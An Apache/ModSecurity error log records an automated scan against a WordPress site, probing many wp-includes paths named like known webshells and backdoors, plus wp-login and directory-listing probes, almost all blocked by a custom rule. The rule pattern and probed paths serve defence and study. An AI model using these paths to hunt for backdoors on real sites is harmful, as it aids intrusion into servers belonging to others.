[Wed Apr 22 07:19:11.565697 2026] [:error] [pid 23041:tid 23044] [client 45.137.126.41:34277] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/min.php"] [unique_id "aegF70TXx_lUa7xwAb7w8gAAAQA"]
[Wed Apr 22 07:19:12.558742 2026] [:error] [pid 32095:tid 32110] [client 45.137.126.51:43567] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aegF8Nfu5Cv628YPe594VwAAA4w"]
[Wed Apr 22 07:19:17.682645 2026] [:error] [pid 21683:tid 21760] [client 45.137.126.7:20747] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/file.php"] [unique_id "aegF9VZBWT-0diZyYyabnAAAAIo"]
[Wed Apr 22 07:19:20.994146 2026] [:error] [pid 31755:tid 31774] [client 45.137.126.49:26501] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aegF-Az2mYMkg3X8q1tsLAAAAgs"]
[Wed Apr 22 07:19:24.297323 2026] [:error] [pid 23041:tid 23057] [client 45.137.126.20:23339] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/load.php"] [unique_id "aegF_ETXx_lUa7xwAb7xGgAAAQ0"]
[Wed Apr 22 07:19:25.279736 2026] [:error] [pid 31706:tid 31721] [client 45.137.126.26:32565] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aegF_bGSe9Rnd4Q_z1ihEQAAAcw"]
[Wed Apr 22 07:19:26.267439 2026] [:error] [pid 31756:tid 31804] [client 45.137.126.37:32001] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aegF_t_WbkXbHaEfhd3eXgAAAkw"]
[Wed Apr 22 07:19:32.975004 2026] [:error] [pid 31756:tid 31811] [client 45.137.126.51:22949] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aegGBN_WbkXbHaEfhd3eaAAAAlM"]
[Wed Apr 22 07:19:36.963384 2026] [:error] [pid 32053:tid 32076] [client 45.137.126.28:24983] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aegGCAzPjXx_ocfbYhs44QAAA1U"]
[Wed Apr 22 07:19:42.148812 2026] [:error] [pid 31755:tid 31772] [client 45.137.126.10:23315] [client 45.137.126.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aegGDgz2mYMkg3X8q1tsaAAAAgk"]
[Wed Apr 22 07:19:43.133252 2026] [:error] [pid 23041:tid 23059] [client 45.137.126.24:62103] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aegGD0TXx_lUa7xwAb7xNQAAAQ8"]
[Wed Apr 22 07:19:44.113048 2026] [:error] [pid 31756:tid 31803] [client 45.137.126.14:22537] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aegGEN_WbkXbHaEfhd3ecAAAAks"]
[Wed Apr 22 07:19:58.907133 2026] [:error] [pid 21682:tid 21741] [client 45.137.126.50:33857] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/system.php"] [unique_id "aegGHplXWQZUlmPHS3oLagAAAFI"]
[Wed Apr 22 07:20:01.273482 2026] [:error] [pid 31756:tid 31808] [client 45.137.126.35:39763] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aegGId_WbkXbHaEfhd3ejAAAAlA"]
[Wed Apr 22 07:20:06.479431 2026] [:error] [pid 31756:tid 31804] [client 45.137.126.39:24911] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aegGJt_WbkXbHaEfhd3emAAAAkw"]
[Wed Apr 22 07:20:07.465060 2026] [:error] [pid 31755:tid 31773] [client 45.137.126.13:33997] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aegGJwz2mYMkg3X8q1tsuAAAAgo"]
[Wed Apr 22 07:20:08.446986 2026] [:error] [pid 31755:tid 31768] [client 45.137.126.25:54117] [client 45.137.126.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aegGKAz2mYMkg3X8q1tsvAAAAgU"]
[Wed Apr 22 07:20:12.997881 2026] [:error] [pid 23041:tid 23054] [client 45.137.126.23:35087] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "aegGLETXx_lUa7xwAb7xZwAAAQo"]
[Wed Apr 22 07:20:26.250530 2026] [:error] [pid 31949:tid 31969] [client 45.137.126.44:56845] [client 45.137.126.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-pie.php"] [unique_id "aegGOn2WtGZh5JfbMUdAuAAAAxE"]
[Wed Apr 22 07:20:34.477387 2026] [:error] [pid 21682:tid 21745] [client 45.137.126.21:62323] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/index.php"] [unique_id "aegGQplXWQZUlmPHS3oLiQAAAFY"]
[Wed Apr 22 07:20:39.473857 2026] [:error] [pid 31755:tid 31784] [client 45.137.126.40:23129] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/nav-menu.php"] [unique_id "aegGRwz2mYMkg3X8q1ts5QAAAhU"]
[Wed Apr 22 07:20:40.466562 2026] [:error] [pid 31949:tid 31962] [client 45.137.126.31:52367] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/user.php"] [unique_id "aegGSH2WtGZh5JfbMUdAugAAAwo"]
[Wed Apr 22 07:21:01.880473 2026] [:error] [pid 23041:tid 23045] [client 45.137.126.36:28983] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/script-modules/block-library/search/about.php"] [unique_id "aegGXUTXx_lUa7xwAb7x2wAAAQE"]
[Wed Apr 22 07:21:04.674052 2026] [:error] [pid 21683:tid 21768] [client 45.137.126.12:20219] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-cropped-image-control.php"] [unique_id "aegGYFZBWT-0diZyYyabzwAAAJI"]
[Wed Apr 22 07:21:05.656776 2026] [:error] [pid 23041:tid 23063] [client 45.137.126.19:30095] [client 45.137.126.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aegGYUTXx_lUa7xwAb7x5AAAARM"]
[Wed Apr 22 07:21:09.169008 2026] [:error] [pid 23041:tid 23064] [client 45.137.126.28:46763] [client 45.137.126.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aegGZUTXx_lUa7xwAb7x8QAAARQ"]
[Wed Apr 22 07:21:14.034123 2026] [:error] [pid 23041:tid 23068] [client 45.137.126.28:46763] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/preferences/wp-login.php"] [unique_id "aegGakTXx_lUa7xwAb7yCwAAARg"]
[Wed Apr 22 07:21:15.023855 2026] [:error] [pid 21682:tid 21747] [client 45.137.126.13:36867] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aegGa5lXWQZUlmPHS3oLpwAAAFg"]
[Wed Apr 22 07:21:16.007175 2026] [:error] [pid 23041:tid 23064] [client 45.137.126.37:33711] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/phpmailer/phpmailer.php"] [unique_id "aegGbETXx_lUa7xwAb7yEgAAARQ"]
[Wed Apr 22 07:21:27.321277 2026] [:error] [pid 32095:tid 32120] [client 45.137.126.39:21321] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aegGd9fu5Cv628YPe594iQAAA5Y"]
[Wed Apr 22 07:21:40.828653 2026] [:error] [pid 23041:tid 23048] [client 45.137.126.27:27385] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aegGhETXx_lUa7xwAb7ydAAAAQQ"]
[Wed Apr 22 07:21:41.810929 2026] [authz_core:error] [pid 31755:tid 31768] [client 45.137.126.51:27063] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/views/cmd.php
[Wed Apr 22 07:21:44.636275 2026] [:error] [pid 31755:tid 31776] [client 45.137.126.51:27063] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/link-template-firewall.php"] [unique_id "aegGiAz2mYMkg3X8q1ttSAAAAg0"]
[Wed Apr 22 07:22:06.030489 2026] [:error] [pid 21682:tid 21745] [client 45.137.126.53:44849] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aegGnplXWQZUlmPHS3oL9gAAAFY"]
[Wed Apr 22 07:22:07.015875 2026] [:error] [pid 23041:tid 23048] [client 45.137.126.24:46437] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aegGn0TXx_lUa7xwAb7yuwAAAQQ"]
[Wed Apr 22 07:22:08.002347 2026] [:error] [pid 31755:tid 31773] [client 45.137.126.11:29475] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/mer_gagal.php"] [unique_id "aegGoAz2mYMkg3X8q1ttjwAAAgo"]
[Wed Apr 22 07:22:08.982051 2026] [:error] [pid 21682:tid 21747] [client 45.137.126.28:48957] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "aegGoJlXWQZUlmPHS3oL9wAAAFg"]
[Wed Apr 22 07:22:15.497310 2026] [:error] [pid 23041:tid 23054] [client 45.137.126.5:36681] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "aegGp0TXx_lUa7xwAb7y7QAAAQo"]
[Wed Apr 22 07:22:16.476379 2026] [:error] [pid 23041:tid 23044] [client 45.137.126.26:31917] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/Core32.php"] [unique_id "aegGqETXx_lUa7xwAb7y7gAAAQA"]
[Wed Apr 22 07:22:26.217701 2026] [:error] [pid 32053:tid 32073] [client 45.137.126.38:41759] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/wp-conflg.php"] [unique_id "aegGsgzPjXx_ocfbYhs5HgAAA1I"]
[Wed Apr 22 07:22:34.521266 2026] [:error] [pid 31844:tid 31870] [client 45.137.126.12:29197] [client 45.137.126.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/index.php"] [unique_id "aegGumtAU9CprTB4b3Iy3wAAApc"]
[Wed Apr 22 07:22:35.501579 2026] [:error] [pid 23041:tid 23045] [client 45.137.126.16:25013] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "aegGu0TXx_lUa7xwAb7zHgAAAQE"]
[Wed Apr 22 07:22:39.271013 2026] [autoindex:error] [pid 21682:tid 21724] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:22:43.331092 2026] [autoindex:error] [pid 21682:tid 21744] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:22:53.698743 2026] [autoindex:error] [pid 21682:tid 21724] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:22:55.804937 2026] [autoindex:error] [pid 21682:tid 21739] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:01.834169 2026] [autoindex:error] [pid 21682:tid 21729] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:02.333817 2026] [autoindex:error] [pid 21682:tid 21739] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:02.837097 2026] [autoindex:error] [pid 21682:tid 21727] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:07.304439 2026] [autoindex:error] [pid 21682:tid 21723] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:07.808231 2026] [autoindex:error] [pid 21682:tid 21728] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:09.802563 2026] [autoindex:error] [pid 21682:tid 21739] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 07:23:10.300685 2026] [autoindex:error] [pid 21682:tid 21745] [client 45.137.126.7:57813] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
